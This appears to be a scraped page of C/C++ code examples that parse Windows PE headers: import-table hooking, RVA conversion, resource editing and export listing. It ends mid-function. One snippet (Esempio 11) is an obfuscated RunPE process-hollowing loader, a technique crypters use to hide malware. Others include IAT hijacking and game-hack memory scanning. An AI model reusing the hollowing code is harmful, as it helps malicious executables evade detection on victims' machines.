DWORD* CIATHook::IATHook( /*HMODULE hDllWhichImports,*/ char *DllImportsFrom, char *OldFunctionName ){
	if (!this->loaded) return 0;
	DWORD dwIndex;
    DWORD dwOffset;
    HMODULE hDllWhichImports = this->moduleimporting;
    PIMAGE_DATA_DIRECTORY pDataDirectory;
    PIMAGE_DOS_HEADER pDosHeader;
    PDWORD pdwIAT;
    PDWORD pdwINT;
    PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor;
    PIMAGE_IMPORT_BY_NAME pImportName;
    PIMAGE_OPTIONAL_HEADER pOptionalHeader;
    PIMAGE_NT_HEADERS pPeHeader;
    PSTR strCurrent;
    //hDllWhichImports = GetModuleHandleA(DllWhichImports);

    if(!hDllWhichImports) return NULL;
          
    pDosHeader = PIMAGE_DOS_HEADER(hDllWhichImports);
    dwOffset = pDosHeader->e_lfanew;
    pPeHeader = PIMAGE_NT_HEADERS(long(hDllWhichImports) + dwOffset);
    pOptionalHeader = &pPeHeader->OptionalHeader;
    pDataDirectory = pOptionalHeader->DataDirectory;
    dwOffset = pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    pImportDescriptor = PIMAGE_IMPORT_DESCRIPTOR(long(hDllWhichImports) + dwOffset);
    for(dwIndex = 0; true; dwIndex++)
    {
        dwOffset = pImportDescriptor[dwIndex].Name;
        if (!dwOffset) return NULL;
        strCurrent = PSTR(long(hDllWhichImports) + dwOffset);

		if(_stricmp( strCurrent, DllImportsFrom) == 0 )
		{
			break;
		}
    }
    dwOffset = pImportDescriptor[dwIndex].FirstThunk;
    pdwIAT = PDWORD(long(hDllWhichImports) + dwOffset);
    dwOffset = pImportDescriptor[dwIndex].OriginalFirstThunk;
    pdwINT = PDWORD(long(hDllWhichImports) + dwOffset);

	for(dwIndex = 0; true; dwIndex++)
    {
        dwOffset = pdwINT[dwIndex];
        if (!dwOffset) return NULL;
        pImportName = PIMAGE_IMPORT_BY_NAME(long(hDllWhichImports) + dwOffset);
        strCurrent = PSTR(pImportName->Name);

		if(_stricmp(strCurrent, OldFunctionName) == 0)
        {
            return &pdwIAT[dwIndex];
        }
    }
    return NULL;
}
Esempio n. 2
0
PIMAGE_NT_HEADERS PEHeaderFromHModule(HMODULE hModule)
{
    PIMAGE_NT_HEADERS pNTHeader = 0;
    
    __try
    {
        if ( PIMAGE_DOS_HEADER(hModule)->e_magic != IMAGE_DOS_SIGNATURE )
            __leave;

        pNTHeader = PIMAGE_NT_HEADERS(PBYTE(hModule)
                    + PIMAGE_DOS_HEADER(hModule)->e_lfanew);
        
        if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )
            pNTHeader = 0;
    }
    __except( EXCEPTION_EXECUTE_HANDLER )
    {       
    }

    return pNTHeader;
}
Esempio n. 3
0
VOID scanSendChatMessage_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile)
{
	PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew);
    PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1);
    PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress);
    DWORD dwCodeSize = pSecHdr[0].SizeOfRawData;
	PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress);
	DWORD dwRDataSize = pSecHdr[1].SizeOfRawData;
	PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress);
    DWORD dwDataSize = pSecHdr[2].SizeOfRawData;
	
	SetItemStatus(iItem, hwndDlg, "Scanning...");

	// scan data section for "Unknown chat type"
	for(DWORD dwDataIndex = 0; dwDataIndex < dwDataSize - (sizeof("Unknown chat type") - 1); dwDataIndex++)
	{
		if(MemoryCompare(&pbData[dwDataIndex], (PBYTE)"Unknown chat type", sizeof("Unknown chat type") - 1))
		{
			// calculate va of found string
			DWORD dwStringVA = OffsetToRva(pbFile, PtrToUlong(pbData) + dwDataIndex - PtrToUlong(pbFile));
			if(dwStringVA)
			{
				dwStringVA += pNtHdr->OptionalHeader.ImageBase;

				// scan code section for 'push dwStringVA'
				for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - 8; dwCodeIndex++)
				{
					if(pbCode[dwCodeIndex] == 0x68 && *((PDWORD)&pbCode[dwCodeIndex + 1]) == dwStringVA)
					{
						// find beginning of procedure
						for(DWORD dwCodeIndex2 = dwCodeIndex & 0xFFFFFFF0; dwCodeIndex2; dwCodeIndex2 -= 0x10)
						{
							if(pbCode[dwCodeIndex2 - 1] == 0x90 || pbCode[dwCodeIndex2 - 1] == 0xC3 || pbCode[dwCodeIndex2 - 3] == 0xC2)
							{
								DWORD dwProcRva = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex2 - PtrToUlong(pbFile));
								if(dwProcRva)
								{
									GetPPD(iItem, hwndDlg)->dwValue = dwProcRva + pNtHdr->OptionalHeader.ImageBase;
									SetItemStatus(iItem, hwndDlg, "Success");
									return;
								}
							}
						}
					}
				}
			}
		}
	}
	GetPPD(iItem, hwndDlg)->dwValue = 0;
	SetItemStatus(iItem, hwndDlg, "Fail");
}
PLOADED_IMAGE IATHookInjector::ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress) const
{
	auto lpBuffer = new BYTE[BUFFER_SIZE];
	auto bSuccess = ReadProcessMemory(hProcess, lpImageBaseAddress, lpBuffer, BUFFER_SIZE, nullptr);
	if (!bSuccess)
	{
		return nullptr;
	}
	auto pDOSHeader = PIMAGE_DOS_HEADER(lpBuffer);
	auto pImage = new LOADED_IMAGE();
	pImage->FileHeader = PIMAGE_NT_HEADERS(lpBuffer + pDOSHeader->e_lfanew);
	pImage->NumberOfSections = pImage->FileHeader->FileHeader.NumberOfSections;
	pImage->Sections = PIMAGE_SECTION_HEADER(lpBuffer + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
	return pImage;
}
Esempio n. 5
0
DWORD RVA2Offset(void * pImageBase, DWORD dwRVA)
{
	DWORD offset;
	PIMAGE_SECTION_HEADER section;
	PIMAGE_DOS_HEADER pimage_dos_header;
	PIMAGE_NT_HEADERS pimage_nt_headers;
	pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
	pimage_nt_headers = (PIMAGE_NT_HEADERS)( ((SIZE_T)pimage_dos_header) + pimage_dos_header -> e_lfanew);
	section = ImageRVA2Section(pimage_nt_headers, dwRVA);
	if (section == nullptr)
	{
		return 0;
	}
	offset = dwRVA + section->PointerToRawData - section->VirtualAddress;
	return offset;
}
Esempio n. 6
0
DWORD OffsetToRva(PBYTE pbImage, DWORD dwOffset)
{
    DWORD dwSecBorder = -1;
    PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pbImage + PIMAGE_DOS_HEADER(pbImage)->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = PIMAGE_SECTION_HEADER(PBYTE(pNt) + sizeof(IMAGE_NT_HEADERS));
    for(DWORD x = 0; x < pNt->FileHeader.NumberOfSections; x++)
    {
        if(dwOffset >= pSec[x].PointerToRawData && dwOffset < pSec[x].PointerToRawData + pSec[x].SizeOfRawData)
            return (dwOffset - pSec[x].PointerToRawData + pSec[x].VirtualAddress);
        if(pSec[x].PointerToRawData && pSec[x].PointerToRawData < dwSecBorder)
            dwSecBorder = pSec[x].PointerToRawData;
    }
    if(dwOffset < dwSecBorder)
        return dwOffset;
    else
        return NULL;
}
Esempio n. 7
0
PBYTE RvaToPointer(PBYTE pbImage, DWORD dwRva)
{
    DWORD dwSecBorder = -1;
    PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pbImage + PIMAGE_DOS_HEADER(pbImage)->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = PIMAGE_SECTION_HEADER(PBYTE(pNt) + sizeof(IMAGE_NT_HEADERS));
    for(DWORD x = 0; x < pNt->FileHeader.NumberOfSections; x++)
    {
        if(dwRva >= pSec[x].VirtualAddress && dwRva < pSec[x].VirtualAddress + pSec[x].Misc.VirtualSize)
            return (pbImage + (dwRva - pSec[x].VirtualAddress + pSec[x].PointerToRawData));
        if(pSec[x].PointerToRawData && pSec[x].PointerToRawData < dwSecBorder)
            dwSecBorder = pSec[x].PointerToRawData;
    }
    if(dwRva < dwSecBorder)
        return pbImage + dwRva;
    else
        return NULL;
}
Esempio n. 8
0
void AirMemory::Init(char *ModuleName) {
	HMODULE hModule = NULL;
	MODULEINFO ModInfo;
	HANDLE hProcess = GetCurrentProcess();
	IMAGE_NT_HEADERS *nth;

	if (ModuleName) {//DLL
		while (!(hModule = GetModuleHandleA(ModuleName))) {
			Sleep(100);
		}
		GetModuleInformation(hProcess, hModule, &ModInfo, sizeof(MODULEINFO));
		Memory_Start = (DWORD)ModInfo.lpBaseOfDll;
		Memory_End = (DWORD)ModInfo.lpBaseOfDll + (DWORD)ModInfo.SizeOfImage;
		IsDLL = true;
	}
	else {//Client
		hModule = GetModuleHandleA(NULL);
		nth = (IMAGE_NT_HEADERS *)((DWORD)hModule + PIMAGE_DOS_HEADER(hModule)->e_lfanew);
		Memory_Start = (DWORD)nth->OptionalHeader.ImageBase;
		Memory_End = (DWORD)nth->OptionalHeader.ImageBase + (DWORD)nth->OptionalHeader.SizeOfImage;
	}
	BaseAddress = Memory_Start;
}
Esempio n. 9
0
File: Utils.cpp Progetto: Novo/rAPB
DWORD Utils::GetSizeOfCode( HANDLE hHandle )
{
	HMODULE hModule = (HMODULE)hHandle;

	if ( !hModule )
		return NULL;

	PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER( hModule );

	if( !pDosHeader )
		return NULL;

	PIMAGE_NT_HEADERS pNTHeader = PIMAGE_NT_HEADERS( (LONG)hModule + pDosHeader->e_lfanew );

	if( !pNTHeader )
		return NULL;

	PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNTHeader->OptionalHeader;

	if( !pOptionalHeader )
		return NULL;

	return pOptionalHeader->SizeOfCode;
}
Esempio n. 10
0
// Fill the array of icons for uninstall with their offsets
// Returns 0 if failed, anything else is icon_offset.
int generate_unicons_offsets(unsigned char* exeHeader, unsigned char* uninstIconData) {
  int i;

  MY_ASSERT(PIMAGE_DOS_HEADER(exeHeader)->e_magic != IMAGE_DOS_SIGNATURE, "invalid dos header");

  PIMAGE_NT_HEADERS ntHeaders = PIMAGE_NT_HEADERS(exeHeader + PIMAGE_DOS_HEADER(exeHeader)->e_lfanew);

  MY_ASSERT(ntHeaders->Signature != IMAGE_NT_SIGNATURE, "invalid nt headers");

  DWORD dwResourceSectionVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
  PIMAGE_SECTION_HEADER sectionHeadersArray = IMAGE_FIRST_SECTION(ntHeaders);

  for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
    if (dwResourceSectionVA == sectionHeadersArray[i].VirtualAddress)
      break;

  MY_ASSERT(i == ntHeaders->FileHeader.NumberOfSections, "can't find resource section");

  PRESOURCE_DIRECTORY rdRoot = PRESOURCE_DIRECTORY(exeHeader + sectionHeadersArray[i].PointerToRawData);

  int iNextSection;
  if (i == ntHeaders->FileHeader.NumberOfSections - 1)
    iNextSection = (int)ntHeaders->OptionalHeader.SizeOfImage;
  else
    iNextSection = (int)sectionHeadersArray[i+1].PointerToRawData;

  MY_ASSERT((int)rdRoot - (int)exeHeader > iNextSection, "corrupted EXE - invalid pointer");

  int idx = find_in_dir(rdRoot, WORD(RT_ICON));
  MY_ASSERT(idx == -1, "no icons?!");
  MY_ASSERT(!rdRoot->Entries[idx].DataIsDirectory, "bad resource directory");

  PRESOURCE_DIRECTORY rdIcons = PRESOURCE_DIRECTORY(rdRoot->Entries[idx].OffsetToDirectory + DWORD(rdRoot));

  MY_ASSERT((int)rdIcons - (int)exeHeader > iNextSection, "corrupted EXE - invalid pointer");

  unsigned char* seeker = uninstIconData;

  for (i = 0; i < rdIcons->Header.NumberOfIdEntries; i++) { // Icons dir can't have named entries
    MY_ASSERT(!rdIcons->Entries[i].DataIsDirectory, "bad resource directory");
    PRESOURCE_DIRECTORY rd = PRESOURCE_DIRECTORY(rdIcons->Entries[i].OffsetToDirectory + DWORD(rdRoot));
    
    MY_ASSERT((int)rd - (int)exeHeader > iNextSection, "corrupted EXE - invalid pointer");
    MY_ASSERT(rd->Entries[0].DataIsDirectory, "bad resource directory");
    
    PIMAGE_RESOURCE_DATA_ENTRY rde = PIMAGE_RESOURCE_DATA_ENTRY(rd->Entries[0].OffsetToData + DWORD(rdRoot));

    MY_ASSERT((int)rde - (int)exeHeader > iNextSection, "corrupted EXE - invalid pointer");

    DWORD dwSize = *(DWORD*)seeker;
    seeker += sizeof(DWORD);
    MY_ASSERT(dwSize != rde->Size, "installer, uninstaller icon size mismatch - see the Icon instruction's documentation for more information");
    // Set offset
    *(DWORD*)seeker = rde->OffsetToData + DWORD(rdRoot) - dwResourceSectionVA - DWORD(exeHeader);

    MY_ASSERT(*(int*)seeker > iNextSection || *(int*)seeker < (int)rdRoot - (int)exeHeader, "invalid data offset - icon resource probably compressed");
    
    seeker += sizeof(DWORD) + dwSize;
  }
  MY_ASSERT(i == 0, "no icons found");
  MY_ASSERT(*(DWORD*)seeker != 0, "number of icons doesn't match");

  return PIMAGE_RESOURCE_DATA_ENTRY(PRESOURCE_DIRECTORY(rdIcons->Entries[0].OffsetToDirectory + DWORD(rdRoot))->Entries[0].OffsetToData + DWORD(rdRoot))->OffsetToData + DWORD(rdRoot) - dwResourceSectionVA - DWORD(exeHeader);
}
Esempio n. 11
0
// ExecFile based on RUNPE work (c) Someone 2009
void ExecFile(LPSTR szFilePath, LPVOID pFile) {
	// On va creer un process suspendu, demapper le nouveau process, aligner la taille avce notre pe
	// recopier notre pe dans les sections, demarre et sauter dans le process

  PIMAGE_DOS_HEADER IDH;  // Structure http://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html 
	PIMAGE_NT_HEADERS INH;  
	PIMAGE_SECTION_HEADER ISH;
	PROCESS_INFORMATION PI;
	STARTUPINFOA SI;
	PCONTEXT CTX;
	PDWORD dwImageBase;
	PNtUnmapViewOfSection xNtUnmapViewOfSection;
	PWriteProcessMemory xWriteProcessMemory ;
	PNtResumeThread xNtResumeThread;
	PGetThreadContext xGetThreadContext;
	PSetThreadContext xSetThreadContext;
	PGetProcAddress xGetProcAddress;
	PCreateProcessA xCreateProcessA;
	PReadProcessMemory xReadProcessMemory;
	PLoadLibrary xLoadLibrary;
	PVirtualAllocEx xVirtualAllocEx;

	LPVOID pImageBase;
	int Count;


int extern str_ntdll() asm ("str_ntdll"); 
int extern str_kernel32() asm ("str_kernel32"); 
int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); 
int extern str_GetProcAddress() asm ("str_GetProcAddress"); 
int extern str_ReadProcAddress() asm ("str_ReadProcAddress"); 
int extern str_WriteProcessMemory() asm ("str_WriteProcessMemory"); 
int extern str_GetThreadContext() asm ("str_GetThreadContext"); 
int extern str_SetThreadContext() asm ("str_SetThreadContext");
int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); 
int extern str_CreateProcessA() asm ("str_CreateProcessA"); 
int extern str_NtResumeThread() asm ("str_NtResumeThread");
int extern str_NtUnmapViewOfSection() asm ("str_NtUnmapViewOfSection"); 
int extern str_VirtualAllocEx() asm ("str_VirtualAllocEx"); 

	xLoadLibrary = (PLoadLibrary) getfunction (findkernel() ,ostring((unsigned char *) &str_LoadLibrary ));
	HINSTANCE Hkernel32  = xLoadLibrary((LPCTSTR) ostring((unsigned char *) &str_kernel32 ));
	HINSTANCE Hntdll = xLoadLibrary((LPCTSTR) ostring((unsigned char * ) &str_ntdll ));
	xGetProcAddress = (PGetProcAddress) getfunction(findkernel(),ostring((unsigned char *) &str_GetProcAddress));
	xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext));
  xNtResumeThread = (PNtResumeThread)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *) &str_NtResumeThread)));	

	IDH = PIMAGE_DOS_HEADER(pFile);
	if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { // TEST MZ
		INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
		if (INH->Signature == IMAGE_NT_SIGNATURE) {   // TESTPE
			RtlZeroMemory(&SI, sizeof(SI));
			RtlZeroMemory(&PI, sizeof(PI));

			// Cree un process etat suspendu
			xCreateProcessA = (PCreateProcessA) (xGetProcAddress(Hkernel32,(LPCSTR) ostring((unsigned char *) &str_CreateProcessA)));
			if (xCreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
				CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
				CTX->ContextFlags = CONTEXT_FULL;
				
				xGetThreadContext = ( PGetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_GetThreadContext));
				if (xGetThreadContext(PI.hThread, LPCONTEXT(CTX))){
					
  				xReadProcessMemory = (PReadProcessMemory) getfunction(findkernel(), ostring((unsigned char *)&str_ReadProcessMemory));
					xReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);

				  // Mappe l'exe dans la thread
				  if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)	{
					vaauxfraises(DWORD(dwImageBase));
					
					xNtUnmapViewOfSection = (PNtUnmapViewOfSection)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *)&str_NtUnmapViewOfSection)));
					xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
				  }


				xVirtualAllocEx = ( PVirtualAllocEx) getfunction(findkernel(),ostring((unsigned char *)&str_VirtualAllocEx));
				pImageBase = xVirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
				if (pImageBase) {
			//	HMODULE aKERNEL32=LoadLibrary(vKERNEL32);

			xWriteProcessMemory = (PWriteProcessMemory)  getfunction(findkernel(),ostring((unsigned char *)&str_WriteProcessMemory));
				xWriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
					for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) {
						ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
	
					startrand();
					xWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
					}
					xWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
					CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
					// Et on demarre la thread
	
					xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext));
					xSetThreadContext(PI.hThread, LPCONTEXT(CTX));
					startrand();
			
					xNtResumeThread(PI.hThread);
				}
			}
		}
	}
	}
	GetLastError();
	VirtualFree(pFile, 0, MEM_RELEASE);
}
Esempio n. 12
0
HRESULT ApiHijackImports(
				HMODULE hModule,	//хэндл на эту программу (метод импорта), в ней замещающая процедура
				LPSTR szVictim,
				LPSTR szEntry,
				LPVOID pHijacker,	//замещающая процедура
				LPVOID *ppOrig
				)
{
	FILE* pf = fopen("importlog.txt","a+");

	// Check args
	if (::IsBadStringPtrA(szVictim, -1) ||
		(!IS_INTRESOURCE(szEntry) && ::IsBadStringPtrA(szEntry, -1)) ||
		::IsBadCodePtr(FARPROC(pHijacker)))
	{
		fclose(pf); return E_INVALIDARG;
	}

	PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(hModule); //DOS заголовок PE файла (этой программы)

	if (::IsBadReadPtr(pDosHeader, sizeof(IMAGE_DOS_HEADER)) ||
		IMAGE_DOS_SIGNATURE != pDosHeader->e_magic)
	{
		fclose(pf); return E_INVALIDARG;
	}

	PIMAGE_NT_HEADERS pNTHeaders = 
		MakePtr(PIMAGE_NT_HEADERS, hModule, pDosHeader->e_lfanew); //PE заголовок (этой программы)

	if (::IsBadReadPtr(pNTHeaders, sizeof(IMAGE_NT_HEADERS)) ||
		IMAGE_NT_SIGNATURE != pNTHeaders->Signature)
	{
		fclose(pf); return E_INVALIDARG;
	}

	HRESULT hr = E_UNEXPECTED;

	// Locate the victim
	IMAGE_DATA_DIRECTORY& impDir = 
		pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; //элемент директории данных опционального заголовка (структура): символы импорта
	PIMAGE_IMPORT_DESCRIPTOR pImpDesc = 
		MakePtr(PIMAGE_IMPORT_DESCRIPTOR, hModule, impDir.VirtualAddress), //адрес начала таблицы импорта (массив структур IMAGE_IMPORT_DESCRIPTOR) 
			pEnd = pImpDesc + impDir.Size / sizeof(IMAGE_IMPORT_DESCRIPTOR) - 1; //адрес конца таблицы

	while(pImpDesc < pEnd)
	{
		char *p; //debug
		p=MakePtr(char*,hModule,pImpDesc->Name);
		
		if (0 == ::lstrcmpiA(MakePtr(LPSTR, hModule, pImpDesc->Name), szVictim)) //в таблице импорта szVictim
		{
			if (0 == pImpDesc->OriginalFirstThunk)
			{
				// no import names table
				fclose(pf); return E_UNEXPECTED;
			}

			// Locate the entry
		    PIMAGE_THUNK_DATA pNamesTable =
				MakePtr(PIMAGE_THUNK_DATA, hModule, pImpDesc->OriginalFirstThunk);

			if (IS_INTRESOURCE(szEntry))
			{
				// By ordinal
				while(pNamesTable->u1.AddressOfData)
				{
					if (IMAGE_SNAP_BY_ORDINAL(pNamesTable->u1.Ordinal) &&
						WORD(szEntry) == IMAGE_ORDINAL(pNamesTable->u1.Ordinal))
					{
						hr = S_OK;
						break;
					}
					pNamesTable++;
				}
			}
			else
			{
				// By name
				while(pNamesTable->u1.AddressOfData)
				{
					if (!IMAGE_SNAP_BY_ORDINAL(pNamesTable->u1.Ordinal))
					{
						PIMAGE_IMPORT_BY_NAME pName = MakePtr(PIMAGE_IMPORT_BY_NAME,
											hModule, pNamesTable->u1.AddressOfData);

						if (0 == ::lstrcmpiA(LPSTR(pName->Name), szEntry))
						{
							hr = S_OK;
							break;
						}
					}
					pNamesTable++;
				}
			}

			if (SUCCEEDED(hr))
			{
				// Get address
				LPVOID *pProc = MakePtr(LPVOID *, pNamesTable,
							pImpDesc->FirstThunk - pImpDesc->OriginalFirstThunk);
				//pImpDesc->FirstThunk - выводится как Address в проге pe_class - import_descriptor_array->FirstThunk

				// Save original handler
				if (ppOrig)
					*ppOrig = *pProc;

				// write to write-protected memory
				fprintf(pf, "0x%X 0x%X 0x%X 0x%X\n", pProc, pNamesTable, pImpDesc->FirstThunk, pImpDesc->OriginalFirstThunk);
				fclose(pf); return WriteProtectedMemory(pProc, &pHijacker, sizeof(LPVOID));
			}
			break;
		}
		pImpDesc++;
	}

	fclose(pf);
	return hr;
}
Esempio n. 13
0
void Plugins::GetExports(char* pathToDll,bool displayInfo)
{
  if (pathToDll)
  {
    unsigned char* dlldata    = 0;
    long           dlldatalen = 0;
    bool           loaded     = false;
    char           dllName[100];
    char           signature[256];

    dllName[0] = 0;
    char* ptr = strrchr(pathToDll,'\\');
    if (ptr && *ptr && *(ptr+1)) strcpy(dllName,ptr+1);
    ptr = strstr(dllName, ".dll");
    if (ptr) *ptr = 0;

    FILE* dll = fopen(pathToDll,"rb");
    if (dll)
    {
      fseek(dll,0,SEEK_END);
      dlldatalen = ftell(dll);
      fseek(dll,0,SEEK_SET);
      if (dlldatalen > 0)
      {
        dlldata = new unsigned char [dlldatalen];
        if (dlldata)
        {
          size_t bytesread = fread((void*)dlldata,1,dlldatalen,dll);
          if ((long)bytesread == dlldatalen)
            loaded = true;
        }
      }
      fclose(dll);
    }

    if (!loaded)
    {
      if (dlldata) delete[] dlldata;
      return;
    }

    PIMAGE_NT_HEADERS NTHeaders = PIMAGE_NT_HEADERS(dlldata + PIMAGE_DOS_HEADER(dlldata)->e_lfanew);
    if (NTHeaders->Signature == IMAGE_NT_SIGNATURE)
    {
      if (NTHeaders->FileHeader.Characteristics & IMAGE_FILE_DLL)
      {
        if (NTHeaders->OptionalHeader.NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_EXPORT) return;

        DWORD ExportDirVA = NTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        DWORD ExportDirSize = NTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
        PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(NTHeaders);

        for (int i = 0; i < NTHeaders->FileHeader.NumberOfSections; i++)
          {
          if (sections[i].VirtualAddress <= ExportDirVA
              && sections[i].VirtualAddress+sections[i].Misc.VirtualSize >= ExportDirVA+ExportDirSize)
            {
            PIMAGE_EXPORT_DIRECTORY exports = PIMAGE_EXPORT_DIRECTORY(dlldata + sections[i].PointerToRawData + ExportDirVA - sections[i].VirtualAddress);
            unsigned long *names = (unsigned long*)((char*)exports + exports->AddressOfNames - ExportDirVA);
            for (unsigned long j = 0; j < exports->NumberOfNames; j++)
            {
              char *name = (char*)exports + names[j] - ExportDirVA;
              wsprintf(signature, "%s::%s", dllName, name);
              m_list.add(signature, pathToDll);
              if (displayInfo)
                fprintf(g_output, " - %s\n", signature);
            }
            break;
          }
        }
      }
    }

    delete[] dlldata;
  }
}
Esempio n. 14
0
PIMAGE_DOS_HEADER CPEInfo::GetDosHeader()
{
	return PIMAGE_DOS_HEADER(m_pFileMap);
}
static inline
PIMAGE_NT_HEADERS WINAPI
PinhFromImageBase(HMODULE hmod) {
    return PIMAGE_NT_HEADERS(PBYTE(hmod) + PIMAGE_DOS_HEADER(hmod)->e_lfanew);
    }
Esempio n. 16
0
// Saves the edited PE into a buffer and returns it.
BYTE* CResourceEditor::Save(DWORD &dwSize) {
  unsigned int i;

  DWORD dwRsrcSize = m_cResDir->GetSize(); // Size of new resource section
  DWORD dwRsrcSizeAligned = RALIGN(dwRsrcSize, m_ntHeaders->OptionalHeader.FileAlignment); // Align it to FileAlignment

  // Calculate the total new PE size
  dwSize = m_iSize - IMAGE_FIRST_SECTION(m_ntHeaders)[m_dwResourceSectionIndex].SizeOfRawData + dwRsrcSizeAligned;

  // Allocate memory for the new PE
  BYTE* pbNewPE = new BYTE[dwSize];
  // Fill it with zeros
  ZeroMemory(pbNewPE, dwSize);

  BYTE* seeker = pbNewPE;
  BYTE* oldSeeker = m_pbPE;

  PIMAGE_SECTION_HEADER old_sectionHeadersArray = IMAGE_FIRST_SECTION(m_ntHeaders);

  // Copy everything until the resource section (including headers and everything that might come after them)
  // We don't use SizeOfHeaders because sometimes (using VC6) it can extend beyond the first section
  // or (Borland) there could be some more information between the headers and the first section.
  CopyMemory(seeker, oldSeeker, old_sectionHeadersArray[m_dwResourceSectionIndex].PointerToRawData);

  // Skip the headers and whatever comes after them
  seeker += old_sectionHeadersArray[m_dwResourceSectionIndex].PointerToRawData;
  oldSeeker += old_sectionHeadersArray[m_dwResourceSectionIndex].PointerToRawData;

  // Get new nt headers pointer
  PIMAGE_NT_HEADERS ntHeaders = PIMAGE_NT_HEADERS(pbNewPE + PIMAGE_DOS_HEADER(pbNewPE)->e_lfanew);
  // Get a pointer to the new section headers
  PIMAGE_SECTION_HEADER sectionHeadersArray = IMAGE_FIRST_SECTION(ntHeaders);

  // Skip the resource section in the old PE seeker.
  oldSeeker += sectionHeadersArray[m_dwResourceSectionIndex].SizeOfRawData;

  // Save the old virtual size of the resource section
  DWORD dwOldVirtualSize = sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize;

  // Set the new size of the resource section (size aligned to FileAlignment)
  sectionHeadersArray[m_dwResourceSectionIndex].SizeOfRawData = dwRsrcSizeAligned;
  // Set the virtual size as well (in memory)
  sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize = RALIGN(dwRsrcSize, ntHeaders->OptionalHeader.SectionAlignment);
  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize;

  // Set the new virtual size of the image
  DWORD old = ntHeaders->OptionalHeader.SizeOfImage;
  ntHeaders->OptionalHeader.SizeOfImage = RALIGN(ntHeaders->OptionalHeader.SizeOfHeaders, ntHeaders->OptionalHeader.SectionAlignment);
  for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
    ntHeaders->OptionalHeader.SizeOfImage += RALIGN(sectionHeadersArray[i].Misc.VirtualSize, ntHeaders->OptionalHeader.SectionAlignment);

  // Set the new AddressOfEntryPoint if needed
  if (ntHeaders->OptionalHeader.AddressOfEntryPoint > sectionHeadersArray[m_dwResourceSectionIndex].VirtualAddress)
    ntHeaders->OptionalHeader.AddressOfEntryPoint += sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize - dwOldVirtualSize;

  // Set the new BaseOfCode if needed
  if (ntHeaders->OptionalHeader.BaseOfCode > sectionHeadersArray[m_dwResourceSectionIndex].VirtualAddress)
    ntHeaders->OptionalHeader.BaseOfCode += sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize - dwOldVirtualSize;

  // Set the new BaseOfData if needed
